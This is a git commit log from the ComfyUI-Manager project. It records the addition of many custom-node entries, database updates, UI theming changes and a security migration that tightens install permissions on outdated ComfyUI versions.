- Add new kraken-tools entry for comfyui-kraken-tools repo
- Fix author attribution for existing ComfyUI-KrakenTools entry (thimpat -> KrakenUnbound)

🤖 Generated with [Claude Code](https://claude.com/claude-code)

Co-authored-by: KrakenUnbound <thekraken@thekraken.net>
Co-authored-by: Claude Opus 4.5 <noreply@anthropic.com>
2026-01-08 02:50:48 +09:00
Dr.Lt.Data c635591e16 update DB 2026-01-08 02:42:56 +09:00
Dr.Lt.Data 82cf838d28 update DB 2026-01-08 01:50:17 +09:00
mengqinandGitHub 9d1bc43a58 Update DB. (#2473) 2026-01-08 01:49:07 +09:00
solidlimeandGitHub 4711e81cec Update custom-node-list.json (#2474) 2026-01-08 01:46:49 +09:00
Dr.Lt.Data 09f0656139 update DB 2026-01-08 01:27:06 +09:00
LiChunlinandGitHub 98cf72e0a2 Update custom-node-list.json (#2464) 2026-01-08 01:25:00 +09:00
Dr.Lt.Data 10f3b6551c bump version 2026-01-08 01:22:59 +09:00
Akhil NarayananandGitHub 1fe90867a2 Ignore Windows stderr flush errors (#2462) 2026-01-08 01:22:02 +09:00
42aabcfec1 Add FMJ Save Image + Versions node entry (#2445)
* Add FMJ Save Image + Versions node entry

Sauvegarde d’images avec métadonnées complètes (prompt, seed, versions logicielles) + chargement intelligent.

* Update custom-node-list.json

---------

Co-authored-by: Dr.Lt.Data <128333288+ltdrdata@users.noreply.github.com>
2026-01-08 01:18:36 +09:00
Dr.Lt.Data ac122a1db0 update DB
Python Linting / Run Ruff (push) Waiting to run
2026-01-07 12:37:25 +09:00
Dr.Lt.Data 5cff01eef3 update DB
Python Linting / Run Ruff (push) Waiting to run
2026-01-06 18:59:31 +09:00
Dr.Lt.Data 69a6256e54 update DB
Python Linting / Run Ruff (push) Has been cancelled
2026-01-04 15:13:52 +09:00
Dr.Lt.Data bee0726c14 update DB 2026-01-04 14:00:21 +09:00
stuttlepressandGitHub e3926863b1 Update custom-node-list.json (#2460)
Add Wan VACE Prep custom node
2026-01-04 13:47:27 +09:00
ZUENS2020andGitHub 1fdf5a4f07 Update ComfyUI-LLM-Nodes to ComfyUI-Gemini-LiteLLM v3.0.0 (#2455)
* Update ComfyUI-LLM-Nodes to ComfyUI-Gemini-LiteLLM v3.0.0

- Rename repository from ComfyUI-LLM-Nodes to ComfyUI-Gemini-LiteLLM
- Remove OpenAI support, Gemini-only implementation
- Support multimodal chat and image generation
- Add temperature control (0-1) and aspect ratio options
- Update node ID and description in custom-node-list.json
- Update repository URL in extension-node-map.json
- Remove OpenAIImageParams from node list

* Fix description text in custom-node-list.json

* Fix formatting in custom-node-list.json
2026-01-04 13:37:49 +09:00
Dr.Lt.Data fa009e729e update DB
Python Linting / Run Ruff (push) Has been cancelled
2026-01-02 09:16:32 +09:00
ZUENS2020GitHubcopilot-swe-agent[bot] <198982749+Copilot@users.noreply.github.com>
48ab18d9e1 Add ComfyUI-LLM-Nodes (#2452)
* Add ComfyUI-LLM-Nodes

Added new node for ComfyUI LLM integration with detailed features.

* Initial plan

* Fix indentation and missing comma in custom-node-list.json

Co-authored-by: ZUENS2020 <161032866+ZUENS2020@users.noreply.github.com>

---------

Co-authored-by: copilot-swe-agent[bot] <198982749+Copilot@users.noreply.github.com>
2026-01-02 09:08:46 +09:00
Dr.Lt.Data 1584bb8dce update DB 2026-01-02 09:08:16 +09:00
RhovanxandGitHub 72a9e89d3b Add new node for Wan Vace Auto Joiner (#2450) 2026-01-02 09:05:57 +09:00
Dr.Lt.Data 92979ff7c8 update DB
Python Linting / Run Ruff (push) Waiting to run
2026-01-01 04:33:34 +09:00
Dr.Lt.Data f731ddb810 update DB 2026-01-01 04:16:03 +09:00
XuanYuGitHubcopilot-swe-agent[bot] <198982749+Copilot@users.noreply.github.com>
42f34c181f Add ComfyUI PlyPreview node (#2444)
* Add ComfyUI PlyPreview node

Gaussian Splat PLY loader + preview nodes for ComfyUI. Forked from GeometryPack and repackaged to avoid upstream overwrites. Includes front-end viewer (gsplat.js) bundled locally.

* Initial plan

* Convert tabs to 4 spaces in ComfyUI PlyPreview entry

Co-authored-by: XuanYu-github <94221632+XuanYu-github@users.noreply.github.com>

---------

Co-authored-by: copilot-swe-agent[bot] <198982749+Copilot@users.noreply.github.com>
2026-01-01 04:15:18 +09:00
Dr.Lt.Data 7ee4c8709e update DB 2026-01-01 04:15:04 +09:00
brucew4yn3rpandGitHub b85a94f269 Update custom-node-list.json (#2442) 2026-01-01 04:13:39 +09:00
Dr.Lt.Data 2c99ab6457 update DB 2026-01-01 04:13:24 +09:00
Eric RolleiandGitHub 074aa24b26 Add Qwen Layers Diffuser Pipeline integration (#2449)
* Add Qwen Layers Diffuser Pipeline integration

Added a new integration for Qwen Layers Diffuser Pipeline with detailed description and reference.

* Add 'Refocus - Generative Refocusing' node entry

Added a new node entry for 'Refocus - Generative Refocusing' with details about its features and installation.
2026-01-01 03:56:24 +09:00
BlackVortexAIandGitHub d277f2f7c3 Remove old deprecated Nodepack (no longer in Development) (#2448) 2026-01-01 03:54:24 +09:00
shootthesoundandGitHub 8302916602 Enhance description for comfyUI-LongLook (#2443)
Updated description to include Block Edit and Save features.
2026-01-01 03:49:55 +09:00
rookiestar28andGitHub 750509b5e8 Add ComfyUI-Doctor new node and update description for ComfyUI Text Processor. (#2441) 2026-01-01 03:48:36 +09:00
Dr.Lt.Data 6147ed790b update DB
Python Linting / Run Ruff (push) Has been cancelled
2025-12-30 12:50:31 +09:00
Dr.Lt.Data e730af2ae5 update DB
Python Linting / Run Ruff (push) Waiting to run
2025-12-29 12:42:49 +09:00
Dr.Lt.Data 8662f6e527 update DB
Python Linting / Run Ruff (push) Waiting to run
2025-12-29 00:28:43 +09:00
Dr.Lt.Data 3103fc9864 update DB
Python Linting / Run Ruff (push) Waiting to run
2025-12-28 08:35:32 +09:00
Shobhit GuptaandGitHub 637678db20 Custom nodes for Google's Genmedia models (#2433)
Adding a suite of experimental custom nodes that allows access to Google's 1P models like Veo, Imagen, Nano Banana, Gemini, Virtual-try-on, Lyria
2025-12-28 08:34:56 +09:00
Dr.Lt.Data e97407a286 update DB 2025-12-28 08:34:44 +09:00
mrm987andGitHub e494abb779 Update custom-node-list.json (#2439)
Add ComfyUI-Multi-Prompt-Generator
2025-12-28 08:33:59 +09:00
Dr.Lt.Data 44093a42fa update DB 2025-12-28 08:33:12 +09:00
Dr.Lt.Data 8e1481ae78 update DB 2025-12-28 08:18:23 +09:00
9c59e7498f Update custom-node-list.json - Add Wan2.2 Storyboard LowVRAM Node (#2434)
* Update custom-node-list.json

* Update custom-node-list.json

---------

Co-authored-by: Dr.Lt.Data <128333288+ltdrdata@users.noreply.github.com>
2025-12-28 08:17:28 +09:00
Dr.Lt.DataandGitHub b2d6a4eefe Update custom-node-list.json 2025-12-28 08:09:06 +09:00
Dr.Lt.Data 0a202dd506 update DB 2025-12-28 07:47:42 +09:00
room3devandGitHub 7eb4a3f961 Add ComfyUI-FrameIO node to custom-node-list (#2435) 2025-12-28 07:46:36 +09:00
Dr.Lt.Data 1ce5603379 update DB 2025-12-28 07:46:24 +09:00
LucasandGitHub 97b86b02ad Add "Image MetaHub Save Node" to custom-node-list (#2432) 2025-12-28 07:44:29 +09:00
f2da1635f2 Add CornmeisterNL PowerPack (#2425)
Co-authored-by: CornmeisterNL <cornmeister@gmail.com>
2025-12-28 07:25:47 +09:00
destinyfauxandGitHub 216e8586bc Update custom-node-list.json
Fixed indentation issue caused in my prior Z-Image Z-Fuse Node.
2025-12-27 12:31:58 -07:00
destinyfauxandGitHub 0cbbe25d89 Update custom-node-list.json
Adding my custom lora nodes for Z-Image. Combines and merges loras non-destructively to enable the usage of many loras without layer saturation.
2025-12-27 12:29:38 -07:00
Dr.Lt.Data f0ed5c3433 update DB
Python Linting / Run Ruff (push) Waiting to run
2025-12-27 05:37:29 +09:00
Eric RolleiandGitHub aca5925e57 Add Qwen Layers Diffuser Pipeline integration (#2420)
Added a new integration for Qwen Layers Diffuser Pipeline with detailed description and reference.
2025-12-27 05:10:01 +09:00
Dr.Lt.Data b8d78174a5 update DB 2025-12-27 04:48:18 +09:00
WakapediaandGitHub edf2a43122 Add WanVideo Wakawave - Advanced LoRA & Prompt Tools (#2431)
* Add WanVideo Wakawave nodes

Added a new custom node entry for 'WanVideo Wakawave' with details on its features and installation.

* Fix typo in custom-node-list.json
2025-12-27 04:47:22 +09:00
Dr.Lt.Data 21de993546 update DB 2025-12-27 04:46:42 +09:00
ConstantlyGrowupandGitHub 49bc24b66e Update custom-node-list.json (#2428) 2025-12-27 04:44:29 +09:00
Dr.Lt.Data 771d627c5a update DB 2025-12-27 04:43:53 +09:00
hkunandGitHub 98967de31b Add 4 downloader plugins (LoRA, UNet, Plugin, Upscaler) to ComfyUI Manager (#2426)
new nodepacks: UNet Downloader for ComfyUI, Plugin Downloader for ComfyUI, Upscaler Downloader for ComfyUI
2025-12-27 04:35:55 +09:00
c87c07dbd5 Update the main info for my plugin EasyKitHT NodeAlignPro. Cheers! (#2422)
* Update the main info for my plugin EasyKitHT NodeAlignPro. Cheers!

* Update custom-node-list.json

---------

Co-authored-by: Dr.Lt.Data <128333288+ltdrdata@users.noreply.github.com>
2025-12-27 04:27:35 +09:00
Dr.Lt.Data 2478d20e76 update DB
Python Linting / Run Ruff (push) Has been cancelled
2025-12-24 12:50:12 +09:00
Dr.Lt.Data cc3428eb3b update DB 2025-12-24 02:11:26 +09:00
Dr.Lt.Data 6001bd4940 update DB
Python Linting / Run Ruff (push) Waiting to run
2025-12-24 01:47:04 +09:00
BlackVortexAIandGitHub f8709f4091 Update custom-node-list.json fro BV-NodePack (#2412)
* Update custom-node-list.json

* Update custom-node-list.json. Add BV-NodePack
2025-12-24 01:46:09 +09:00
Dr.Lt.Data 3cff881b5b update DB 2025-12-24 01:43:49 +09:00
AugustusLXIIIandGitHub b79e997a14 Added "Custom Resolution I2V" node for WAN to the list. (#2416) 2025-12-24 01:42:50 +09:00
Dr.Lt.Data ed2c34143c update DB 2025-12-24 01:42:23 +09:00
AsidertandGitHub 639b17ef6b Add "ComfyUI_Base64Images" to custom-node-list.json (#2418) 2025-12-24 01:41:25 +09:00
Dr.Lt.Data 7834411ef3 update DB 2025-12-24 01:33:46 +09:00
d8ea83a44c Add ComfyUI-FlashVSR_Stable node to custom-node-list (#2421)
* Add ComfyUI-FlashVSR_Stable node to custom-node-list

Add ComfyUI-FlashVSR_Stable

* Update custom-node-list.json

---------

Co-authored-by: Dr.Lt.Data <128333288+ltdrdata@users.noreply.github.com>
2025-12-24 01:33:00 +09:00
Dr.Lt.Data 6b9818b748 update DB 2025-12-24 01:27:43 +09:00
Rakka RageandGitHub b4d5b228ae Add ComfyRage text nodes. (#2408) 2025-12-24 01:24:31 +09:00
Dr.Lt.Data 29b4824ee2 update DB
Python Linting / Run Ruff (push) Waiting to run
2025-12-23 12:35:16 +09:00
Dr.Lt.Data e3a8b669b2 improved: scanner.py - more pattern 2025-12-23 12:34:55 +09:00
Dr.Lt.Data 80e5c8a987 update DB
Python Linting / Run Ruff (push) Waiting to run
2025-12-22 18:52:24 +09:00
Dr.Lt.Data e0e4886e63 update DB
Python Linting / Run Ruff (push) Waiting to run
2025-12-22 12:29:41 +09:00
Dr.Lt.Data c0947f4192 update DB 2025-12-22 12:15:03 +09:00
pixelpainterandGitHub 7706b047ce Update custom-node-list.json (#2414) 2025-12-22 12:08:57 +09:00
akawanaandGitHub a44c6ff27c Update Utils Extra to AK Pack with new details (#2413)
Updated the title and reference for a utility tool, and enhanced the description and tags.
2025-12-22 12:07:17 +09:00
Dr.Lt.Data f4fdd51ce9 feat(preview): disable Manager preview method when ComfyUI native feature is available
Python Linting / Run Ruff (push) Has been cancelled
- Add detection for ComfyUI PR #11261 (per-queue preview override)
- Return DISABLED status when native feature is detected
- Improve UI loading state and prevent flash of enabled state
- Add accessibility attributes and visual feedback for disabled state
- Show user notification when feature transitions to native
- Version bump to 3.39
2025-12-19 23:05:52 +09:00
ae6c7dd673 Changed Main Dialog to match aesthetics and close button location as Original ComfyUI Interface (#2349)
Python Linting / Run Ruff (push) Waiting to run
* Started changing UI to match the rest of ComfyUI

Completed Main Container

* - Added layout formatting to components of the Manager dialog box
- Pulled name from select and put it into a label (eg "DB: Channel" now has a label of DB and a dropdown with channel, etc)
- Fixed incorrect z-index

* Removed this.close() I added before finding z-index issue.

* Matched buttons and drop downs to match style of ComfyUI interface while keeping the colours the same as OG ComfyUI Manager

* - Took gui building out and put into its own .js
- Applied theme to Nodes Manager
- Made theme respect user theme colors

* - Themed model manager and snapshot manager
- fixed incorrect id in gui builder

* Fix syntax error in color property

---------

Co-authored-by: Dr.Lt.Data <128333288+ltdrdata@users.noreply.github.com>
2025-12-19 12:34:20 +09:00
Dr.Lt.Data 0cbc773126 update DB
Python Linting / Run Ruff (push) Waiting to run
2025-12-19 11:38:53 +09:00
Dr.Lt.Data 45bd3473fa update DB 2025-12-19 06:46:21 +09:00
shootthesoundandGitHub 02175844da Updated my entry to include my new Block Editing Nodes (#2405)
* Add Realtime LoRA Trainer node to custom-node-list

Added a new node for Realtime LoRA Trainer with details.

* Enhance description for ComfyUI Loras training

Updated the description to include Block Edit and Save Loras functionality and Musubi Tuner support.
2025-12-19 06:43:52 +09:00
Dr.Lt.Data fd60f7ee70 update DB
Python Linting / Run Ruff (push) Has been cancelled
2025-12-17 13:03:57 +09:00
Dr.Lt.Data 9eb4c3ab23 update DB
Python Linting / Run Ruff (push) Waiting to run
2025-12-17 07:40:52 +09:00
Dr.Lt.Data 72d1aa7d97 update DB 2025-12-17 06:58:00 +09:00
Dr.Lt.Data 57628ead80 update DB 2025-12-17 06:04:44 +09:00
revisiontonyandGitHub 9733c2328b Update custom-node-list.json (#2398) 2025-12-17 06:03:56 +09:00
Dr.Lt.Data 70663cecc3 update DB 2025-12-17 06:02:43 +09:00
7c77942a92 Add ComfyUI-YoloTrack node to custom-node-list.json (#2400)
* Add ComfyUI-YoloTrack node to custom-node-list.json

Added a new node for ComfyUI-YoloTrack with details.

* Update custom-node-list.json

---------

Co-authored-by: Dr.Lt.Data <128333288+ltdrdata@users.noreply.github.com>
2025-12-17 06:01:42 +09:00
Dr.Lt.Data 04cf18e149 update DB 2025-12-17 06:00:16 +09:00
akawanaandGitHub 1825edda7e Add AK XZ Axis node information to custom-node-list (#2399) 2025-12-17 05:58:31 +09:00
Dr.Lt.Data 045f91c411 update DB
Python Linting / Run Ruff (push) Waiting to run
2025-12-16 12:53:56 +09:00
Dr.Lt.Data 96d24f548c update DB 2025-12-16 12:51:59 +09:00
Dr.Lt.Data c7f03ad64e update DB
Python Linting / Run Ruff (push) Waiting to run
2025-12-15 22:28:27 +09:00
Dr.Lt.Data 1232989d7d update DB 2025-12-15 22:04:50 +09:00
Dr.Lt.Data 8f66a7997f update DB
Python Linting / Run Ruff (push) Waiting to run
2025-12-15 12:57:52 +09:00
Dr.Lt.Data f32dd80c24 update DB
Python Linting / Run Ruff (push) Waiting to run
2025-12-15 03:16:01 +09:00
Gero DollandGitHub a06ba343de Add ComfyUI-PromptGenerator to custom node list (#2391)
Python Linting / Run Ruff (push) Waiting to run
Generate Stable Diffusion prompts using Qwen3-8B via Ollama with 7 style presets (cinematic, anime, photorealistic, fantasy, abstract, cyberpunk, sci-fi)
2025-12-15 00:36:47 +09:00
Dr.Lt.Data bba55d4d5a update DB
Python Linting / Run Ruff (push) Has been cancelled
2025-12-12 23:08:38 +09:00
Dr.Lt.Data 87111bd889 update DB 2025-12-12 22:09:35 +09:00
SKFRMSEHFandGitHub 3661ffd3ab Update custom-node-list.json (#2388) 2025-12-12 21:41:13 +09:00
Dr.Lt.Data d8f111a5e3 bump version 2025-12-12 18:16:51 +09:00
ae5565ce68 ComfyUI version listing + nightly current fix (#2334)
* Improve comfyui version listing

* Fix ComfyUI semver selection and stable update

* Fix nightly current detection on default branch

* Fix: use tag_ref.name explicitly and cache get_remote_name result

- Use tag_ref.name instead of tag_ref object for checkout
- Cache get_remote_name() result to avoid duplicate calls

🤖 Generated with [Claude Code](https://claude.com/claude-code)

Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>

---------

Co-authored-by: Dr.Lt.Data <dr.lt.data@gmail.com>
Co-authored-by: Claude Opus 4.5 <noreply@anthropic.com>
2025-12-12 18:15:12 +09:00
Dr.Lt.Data e4c370a7d9 update DB
Python Linting / Run Ruff (push) Waiting to run
2025-12-12 12:29:09 +09:00
Dr.Lt.Data 891005bcd3 fix(git): handle divergent branches safely during pull
- Use --ff-only flag to detect non-fast-forward situations
- Create backup branch before resetting divergent local branch
- Reset to remote branch when fast-forward is not possible
- Use time.strftime() instead of datetime for better compatibility
- Bump version to 3.38.2
2025-12-12 12:22:42 +09:00
Dr.Lt.Data d3a4a7a0fa ruff fix 2025-12-12 12:11:52 +09:00
Dr.Lt.Data 10211d1a93 update DB
Python Linting / Run Ruff (push) Waiting to run
2025-12-12 05:34:33 +09:00
7f019a932b Add JK AceStep Nodes (#2365)
* Add ComfyUI_MusicTools

* Update custom-node-list.json

---------

Co-authored-by: Dr.Lt.Data <128333288+ltdrdata@users.noreply.github.com>
2025-12-12 05:23:14 +09:00
Dr.Lt.Data fae909de2f update DB 2025-12-12 05:11:37 +09:00
Dr.Lt.Data d8455ef6e5 update DB 2025-12-12 04:53:07 +09:00
934c994783 Add new custom node: lora_downloader (#2363)
* {
    "author": "huihuihuiz",
    "title": "LoRA Downloader for ComfyUI",
    "id": "lora_downloader",
    "reference": "https://github.com/huihuihuiz/lora_downloader",
    "repo_url": "https://github.com/huihuihuiz/lora_downloader",
    "install_type": "git",
    "description": "A ComfyUI custom node for downloading and managing LoRA models directly within the UI."
}

* Change install_type from 'git' to 'git-clone'

* Update custom-node-list.json

* Delete Lora_Downloader entry from JSON map

Removed Lora_Downloader entry from extension-node-map.json

---------

Co-authored-by: Dr.Lt.Data <128333288+ltdrdata@users.noreply.github.com>
2025-12-12 04:52:12 +09:00
Dr.Lt.Data d0961d596d update DB 2025-12-12 04:47:24 +09:00
382df24764 Add ComfyUI Custom Node Color (#2382)
* Add ComfyUI Custom Node Color

Added a new custom node for ComfyUI.

* Update custom-node-list.json

---------

Co-authored-by: Dr.Lt.Data <128333288+ltdrdata@users.noreply.github.com>
2025-12-12 04:46:31 +09:00
Dr.Lt.Data bfcfa42125 update DB 2025-12-12 04:43:44 +09:00
BraedenandGitHub 2333886c34 Add custom node for ComfyUI Load Image URL (#2380)
Added a new custom node entry for loading images from URLs and Files.
2025-12-12 04:42:45 +09:00
Dr.Lt.Data 0cdad3c886 update DB 2025-12-12 04:40:36 +09:00
Nakano KenjiandGitHub eee23c543b Add ComfyUI-SimpleChat (#2377) 2025-12-12 04:39:53 +09:00
Dr.Lt.Data f0a8812f5e update DB 2025-12-12 04:39:30 +09:00
a8d603f753 Add ComfyUI-lethris-dia2: Dia2 TTS & Captions Generator (#2366)
* Update custom-node-list.json

JSON entry for my Dia2 TTS + Captions Node

* Update custom-node-list.json

---------

Co-authored-by: Dr.Lt.Data <128333288+ltdrdata@users.noreply.github.com>
2025-12-12 04:37:53 +09:00
Dr.Lt.Data 22acaa1d2c update DB
Python Linting / Run Ruff (push) Has been cancelled
2025-12-10 18:39:42 +09:00
Dr.Lt.Data fe791ccee9 improved: scanner.py, json-checker.py 2025-12-10 18:39:02 +09:00
Dr.Lt.Data 414557eee0 update DB
Python Linting / Run Ruff (push) Waiting to run
2025-12-10 12:59:56 +09:00
Dr.Lt.Data 97d2741360 update DB 2025-12-10 09:15:11 +09:00
Dr.Lt.Data b95e5f1eae db fixed 2025-12-10 09:02:20 +09:00
Dr.Lt.Data 43b200dc91 update DB
Python Linting / Run Ruff (push) Has been cancelled
2025-12-08 23:28:26 +09:00
Dr.Lt.Data 29014699bb update DB
Python Linting / Run Ruff (push) Waiting to run
2025-12-08 22:04:11 +09:00
Dr.Lt.Data 5576672957 update DB 2025-12-08 21:45:05 +09:00
DayMan84andGitHub 5002606861 Add ComfyUI-Ugromana node with details (#2361)
Hello,

I would like to add my new custom node ComfyUI-Usromana to the registry.

Node Details:

Name: ComfyUI-UmeAiRT-Sync
Description: The next-generation security, governance, permissions, and multi‑user control system for ComfyUI.

Repository: https://github.com/DayMan84/ComfyUI-Usgromana

Verification:
I have verified the JSON syntax locally using the "Use local DB" option in ComfyUI Manager. The node appears correctly in the list and installs without issues.

Thank you!
2025-12-08 21:44:11 +09:00
Dr.Lt.Data ba0fb343ff update DB 2025-12-08 21:33:00 +09:00
UmeAiRTandGitHub 17e5ae6bc2 Add ComfyUI-UmeAiRT-Sync (#2360) 2025-12-08 21:31:52 +09:00
akawanaandGitHub 7a0186efc8 Modify 'Keybinding Extra' to 'Folded prompts' (#2359)
Updated the title, reference, description, and tags for the 'Keybinding Extra' entry in the custom-node-list.json file.
2025-12-08 21:30:29 +09:00
Dr.Lt.Data de64af4a68 update DB
Python Linting / Run Ruff (push) Waiting to run
2025-12-07 21:32:58 +09:00
Dr.Lt.Data 4a852ac8a8 update DB 2025-12-07 21:30:06 +09:00
shootthesoundandGitHub 6784bfb98c Add Realtime LoRA Trainer node to custom-node-list (#2352)
Added a new node for Realtime LoRA Trainer with details.
2025-12-07 21:29:07 +09:00
Dr.Lt.Data c8f246d344 update DB 2025-12-07 21:28:09 +09:00
The KrakenandGitHub 8b3d31a936 Add Kraken Discord Bot custom node (#2358) 2025-12-07 21:27:17 +09:00
Dr.Lt.Data 5e88d6445b update DB 2025-12-07 21:25:30 +09:00
dsandGitHub fd7dff88df Add ComfyUI_DashuaiTools to custom-node-list.json (#2319)
This PR adds the ComfyUI_DashuaiTools custom node pack to the ComfyUI-Manager node list.
2025-12-07 21:24:06 +09:00
Dr.Lt.Data 8cfee1f483 update DB
Python Linting / Run Ruff (push) Waiting to run
2025-12-07 07:36:12 +09:00
cf4d8e6125 Workflow Importer (#2356)
* Add Workflow Importer node to custom-node-list.json

* Update custom-node-list.json

* Add entry for SDXL_sizing by Ser-Hilary

---------

Co-authored-by: Dr.Lt.Data <128333288+ltdrdata@users.noreply.github.com>
2025-12-07 07:35:14 +09:00
Dr.Lt.Data c0e8a41d2a update DB 2025-12-07 07:32:45 +09:00
Antonio CoveloandGitHub a02c27b1af Add ShakaNodes utility tools for ComfyUI (#2353)
Added new ShakaNodes project with author and description to ComfyUI-Maanager
2025-12-07 07:32:07 +09:00
Dr.Lt.Data 712e1bac0d update DB 2025-12-07 07:30:31 +09:00
ameyukisoraandGitHub 513ea46cbe Add ComfyUI-Empty-Latent-Advanced (#2351) 2025-12-07 07:28:19 +09:00
Dr.Lt.Data b1919b6f95 update DB 2025-12-07 07:28:06 +09:00
Jean KássioandGitHub 43561d209b Add ComfyUI_MusicTools (#2350) 2025-12-07 07:25:47 +09:00
Dr.Lt.Data 16dcbc5412 update DB 2025-12-07 07:25:11 +09:00
c8dd2d5cad Added new file to existing HALXP-Comfy custom node (#2341)
* Added HALXP-Comfy to the custom node lists

* Update custom-node-list.json

* Added new file (HALXP Monitor) to current custom node

HALXP Monitor lets you run a custom script on workflow Success or Error

* Added one new file to the custom tools (runmonitor)

Lets you run custom scripts on workflow success or error

* Update custom-node-list.json

---------

Co-authored-by: Dr.Lt.Data <128333288+ltdrdata@users.noreply.github.com>
2025-12-07 07:22:18 +09:00
Dr.Lt.Data 4b37777066 update DB 2025-12-07 07:15:35 +09:00
Antonio SorrentiniandGitHub 95ecd85a12 Add ComfyUI-LegionPower node with description (#2326) 2025-12-07 07:11:33 +09:00
Dr.Lt.Data 5c475e3c15 update DB
Python Linting / Run Ruff (push) Has been cancelled
2025-12-05 19:03:46 +09:00
Dr.Lt.Data f705ee6863 update DB
Python Linting / Run Ruff (push) Waiting to run
2025-12-05 13:00:22 +09:00
akawanaandGitHub 1f67c18989 Add RGBYP Mask Editor to custom-node-list.json (#2347)
* Add RGBYP Mask Editor to custom-node-list.json

Added RGBYP Mask Editor entry with details and tags.

* Fix description formatting in custom-node-list.json
2025-12-05 12:53:08 +09:00
rjgoifandGitHub de6d451c5b Update custom-node-list.json (#2346)
Adding a small node collection "Img Label Tools" to help users add text labels easily to their images and grids, making for better sharing on Reddit and other communities. 
Small pack, no extra files, no restrictions.
2025-12-05 12:52:04 +09:00
Dr.Lt.Data 580296d6f3 update DB 2025-12-05 12:51:41 +09:00
vramfckerandGitHub a9e28fbce3 Add Random Prompt Builder node to custom-node-list (#2340)
Added new node for Random Prompt Builder with detailed description.
2025-12-05 12:50:40 +09:00
Dr.Lt.Data 311779cb20 update DB 2025-12-05 12:50:28 +09:00
llikethatandGitHub d2f8a89e87 Add faceExtractor node for ComfyUI (#2339)
Added faceExtractor node for ComfyUI which identifies based on input image reference
2025-12-05 12:49:28 +09:00
Dr.Lt.Data 84c95bf322 update DB 2025-12-05 12:48:44 +09:00
f75c801955 Add ComfyUI-Hunyuan3D-v3 - Tencent Hunyuan 3D Global API support (#2345)
Co-authored-by: exedesign <exedesign@github.com>
2025-12-05 12:46:37 +09:00
faa2f54371 Add ComfyUI FSL Nodes — Gemini chat & image generation, utilities (#2316)
* Add ComfyUI FSL Nodes to custom-node-list.json

* Update custom-node-list.json

---------

Co-authored-by: Dr.Lt.Data <128333288+ltdrdata@users.noreply.github.com>
Co-authored-by: Fred LeFevre <fred@example.com>
2025-12-05 12:41:08 +09:00
Dr.Lt.Data 4249ac193a improved: display a more user-friendly message 2025-12-05 07:01:01 +09:00
Dr.Lt.Data c709274a28 update DB
Python Linting / Run Ruff (push) Has been cancelled
2025-12-03 01:46:58 +09:00
Dr.Lt.Data c8f05e79db update DB 2025-12-03 01:35:55 +09:00
ah-kunandGitHub 4d2887e99f Add ComfyUI-FailSafe-Translate-Node to custom-node-list (#2330) 2025-12-03 01:35:14 +09:00
Dr.Lt.Data 29256a5154 update DB 2025-12-03 01:33:18 +09:00
82d42e4094 Add Forbidden Vision custom node pack (#2328)
* Add Forbidden Vision custom node pack

Custom face detection/segmentation models with enhancement nodes for ComfyUI.
Supports realistic, anime, and NSFW content.

* Update custom-node-list.json

* Update custom-node-list.json

---------

Co-authored-by: Dr.Lt.Data <128333288+ltdrdata@users.noreply.github.com>
2025-12-03 01:32:34 +09:00
Dr.Lt.Data 53850fb627 update DB 2025-12-03 01:29:30 +09:00
Pondowner857andGitHub 34b4c8ce46 Update custom-node-list.json (#2325) 2025-12-03 01:28:25 +09:00
Dr.Lt.Data e944841054 update DB 2025-12-03 01:25:51 +09:00
f6a5ff5552 added iSeeBetter Custom Node (#2324)
* added iSeeBetter Custom Node

iSeeBetter Custom Node for upscaling

* Update custom-node-list.json

---------

Co-authored-by: Dr.Lt.Data <128333288+ltdrdata@users.noreply.github.com>
2025-12-03 01:24:38 +09:00
Dr.Lt.Data 01763b59d4 update DB 2025-12-03 01:24:18 +09:00
BuddyBytes.coandGitHub 044173b2a1 Add Smart Resolution Toolkit aspect-aware, snap64-safe resolution and latent generator nodes (#2322)
Smart Resolution Toolkit for ComfyUI

A lightweight resolution assistant for ComfyUI that provides human-friendly dropdowns to pick:

- Resolution presets: HD, FullHD, 2K, 4K, 8K
- Aspect ratios: 1:1, 9:16, 4:5, 21:9, 16:9, 2:3, etc.

Key Features:
• Auto width & height calculation (INT output)
• Latent-safe – automatically snaps to nearest multiple of 64
• Perfect for EmptyLatentImage, KSampler, AnimateDiff, ControlNet, Video formats
• Includes two nodes:
   - Smart Resolution Picker → returns width & height (INT)
   - Smart Latent Generator → directly creates empty LATENT tensor

Popular use cases:
TikTok video, IG story, portrait photography, ultra-wide banners, cinematic 21:9, album covers.

GitHub: https://github.com/buddy-bytes/ComfyUI-SmartResolutionToolkit
2025-12-03 01:20:12 +09:00
Dr.Lt.Data 99e7a88dbd update DB 2025-12-03 01:19:09 +09:00
01cd9fbb0e Add HALXP-Comfy to custom-node-list.json (#2320)
* Added HALXP-Comfy to the custom node lists

* Update custom-node-list.json

---------

Co-authored-by: Dr.Lt.Data <128333288+ltdrdata@users.noreply.github.com>
2025-12-03 01:18:02 +09:00
Dr.Lt.DataandGitHub aaed1dc3d5 feat(security): Support System User Protection API with security migration (V3.38) (#2338)
- Migrate Manager data path: default/ComfyUI-Manager → __manager
- Force security_level=strong on outdated ComfyUI (block installations)
- Auto-migrate config.ini only; backup legacy files for manual verification
- Raise weak/normal- to normal during migration
- Add /manager/startup_alerts API for UI warnings
- Differentiate 403 responses: comfyui_outdated vs security_level
- Block startup scripts execution on old ComfyUI

Requires ComfyUI v0.3.76+ for full functionality.
Backward compatible with older versions (uses legacy path).
2025-12-03 00:42:12 +09:00
Dr.Lt.Data c8dce94c03 update DB
Python Linting / Run Ruff (push) Has been cancelled
2025-12-01 12:23:52 +09:00
Dr.Lt.Data 06496d07b3 update DB
Python Linting / Run Ruff (push) Has been cancelled
2025-11-29 01:43:52 +09:00
a97f98c9cc Add PainterFLF2V custom node (#2311)
* Update custom-node-list.json

* Update custom-node-list.json

* Update custom-node-list.json

---------

Co-authored-by: Dr.Lt.Data <128333288+ltdrdata@users.noreply.github.com>
2025-11-29 01:23:25 +09:00
Dr.Lt.Data 8d0406f74f update DB 2025-11-28 18:32:02 +09:00
Dr.Lt.Data c64d14701d update DB
Python Linting / Run Ruff (push) Waiting to run
2025-11-28 08:59:09 +09:00
Dr.Lt.Data 00332ae444 update DB 2025-11-28 08:02:05 +09:00
akawanaandGitHub e8deb3d8fe Add Utils Extra custom node to the list (#2313)
* Add Utils Extra custom node to the list

Added a new custom node entry for Utils Extra with details.

* Update description in custom-node-list.json

Expanded the description to include additional functionalities of the utility tools.
2025-11-28 08:00:38 +09:00
8b234c99cf Add ComfyUI-WhisperXX custom node entry (#2314)
* Add ComfyUI-WhisperXX custom node entry

